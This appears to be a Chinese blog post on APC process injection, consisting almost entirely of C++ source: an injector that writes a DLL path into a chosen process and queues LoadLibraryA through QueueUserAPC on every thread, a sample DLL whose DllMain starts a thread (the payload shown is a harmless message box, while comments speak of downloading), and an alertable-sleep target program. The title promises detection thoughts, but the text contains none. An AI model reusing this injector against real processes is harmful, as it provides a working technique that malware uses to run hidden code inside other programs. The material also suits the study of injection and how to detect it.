APC进程注入C++示例和检测思考

// inject3.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
#include <iostream>
#include<Windows.h>
#include<TlHelp32.h>

using namespace std;

void ShowError(const char* pszText)
{
	char szError[MAX_PATH] = { 0 };
	::wsprintf(szError, "%s Error[%d]\n", pszText, ::GetLastError());
	::MessageBox(NULL, szError, "ERROR", MB_OK);
}


//列出指定进程的所有线程
BOOL GetProcessThreadList(DWORD th32ProcessID, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength)
{
	// 申请空间
	DWORD dwThreadIdListLength = 0;
	DWORD dwThreadIdListMaxCount = 2000;
	LPDWORD pThreadIdList = NULL;
	HANDLE hThreadSnap = INVALID_HANDLE_VALUE;

	pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (pThreadIdList == NULL)
	{
		return FALSE;
	}

	RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD));

	THREADENTRY32 th32 = { 0 };

	// 拍摄快照
	hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID);

	if (hThreadSnap == INVALID_HANDLE_VALUE)
	{
		return FALSE;
	}

	// 结构的大小
	th32.dwSize = sizeof(THREADENTRY32);

	//遍历所有THREADENTRY32结构, 按顺序填入数组

	BOOL bRet = Thread32First(hThreadSnap, &th32);
	while (bRet)
	{
		if (th32.th32OwnerProcessID == th32ProcessID)
		{
			if (dwThreadIdListLength >= dwThreadIdListMaxCount)
			{
				break;
			}
			pThreadIdList[dwThreadIdListLength++] = th32.th32ThreadID;
		}
		bRet = Thread32Next(hThreadSnap, &th32);
	}

	*pThreadIdListLength = dwThreadIdListLength;
	*ppThreadIdList = pThreadIdList;

	return TRUE;
}
BOOL APCInject(HANDLE hProcess, CHAR* wzDllFullPath, LPDWORD pThreadIdList, DWORD dwThreadIdListLength)
{
	// 申请内存

	PVOID lpAddr = NULL;
	SIZE_T page_size = 4096;

	lpAddr = ::VirtualAllocEx(hProcess, nullptr, page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

	if (lpAddr == NULL)
	{
		ShowError("VirtualAllocEx - Error\n\n");
		VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
		CloseHandle(hProcess);
		return FALSE;
	}
	// 把Dll的路径复制到内存中
	if (FALSE == ::WriteProcessMemory(hProcess, lpAddr, wzDllFullPath, (strlen(wzDllFullPath) + 1) * sizeof(wzDllFullPath), nullptr))
	{
		ShowError("WriteProcessMemory - Error\n\n");
		VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
		CloseHandle(hProcess);
		return FALSE;
	}

	// 获得LoadLibraryA的地址
	PVOID loadLibraryAddress = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");

	// 遍历线程, 插入APC
	float fail = 0;
	for (int i = dwThreadIdListLength - 1; i >= 0; i--)
	{
		// 打开线程
		HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
		if (hThread)
		{
			// 插入APC
			if (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr))
			{
				fail++;
			}
			// 关闭线程句柄
			::CloseHandle(hThread);
			hThread = NULL;
		}
	}

	printf("Total Thread: %d\n", dwThreadIdListLength);
	printf("Total Failed: %d\n", (int)fail);

	if ((int)fail == 0 || dwThreadIdListLength / fail > 0.5)
	{
		printf("Success to Inject APC\n");
		return TRUE;
	}
	else
	{
		printf("Inject may be failed\n");
		return FALSE;
	}
}


int main()
{
	ULONG32 ulProcessID = 0;
	printf("Input the Process ID:");
	cin >> ulProcessID;
	CHAR wzDllFullPath[MAX_PATH] = "C:\\Users\\source\\repos\\injected_dll\\x64\\Release\\injected_dll.dll";// "C:\\Users\\l00379637\\source\\repos\\test_dll\\Release\\test_dll.dll";

	LPDWORD pThreadIdList = NULL;
	DWORD dwThreadIdListLength = 0;

	if (!GetProcessThreadList(ulProcessID, &pThreadIdList, &dwThreadIdListLength))
	{
		printf("Can not list the threads\n");
		exit(0);
	}
	//打开句柄
	HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, ulProcessID);

	if (hProcess == NULL)
	{
		printf("Failed to open Process\n");
		return FALSE;
	}

	//注入
	if (!APCInject(hProcess, wzDllFullPath, pThreadIdList, dwThreadIdListLength))
	{
		printf("Failed to inject DLL\n");
		return FALSE;
	}
	return 0;
}

// myhack.cpp
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include "windows.h"
#include "tchar.h"


DWORD WINAPI ThreadProc(LPVOID lParam)
{
	::MessageBoxW(NULL, L"szPath", L"captain?", 0); //调用函数进行URL下载
	return 0;

}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
	HANDLE hThread = NULL;

	switch (fdwReason)
	{
	case DLL_PROCESS_ATTACH:
		OutputDebugString(L"<myhack.dll> Injection!!!");
		//创建远程线程进行download
		hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL);
		// 需要注意，切记随手关闭句柄，保持好习惯
		CloseHandle(hThread);
		break;
	}

	return TRUE;
}

// sleephere.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
#include <windows.h>
#include <synchapi.h>
#include <iostream>

int main()
{
    std::cout << "Hello World!\n";
	DWORD pid = GetCurrentProcessId();
	std::cout << "当前进程的PID是: " << pid << std::endl;
	while (1) {
		SleepEx(1000, true);
		std::cout << "You are done!\n";
	}
	std::cout << "Exit!\n";
}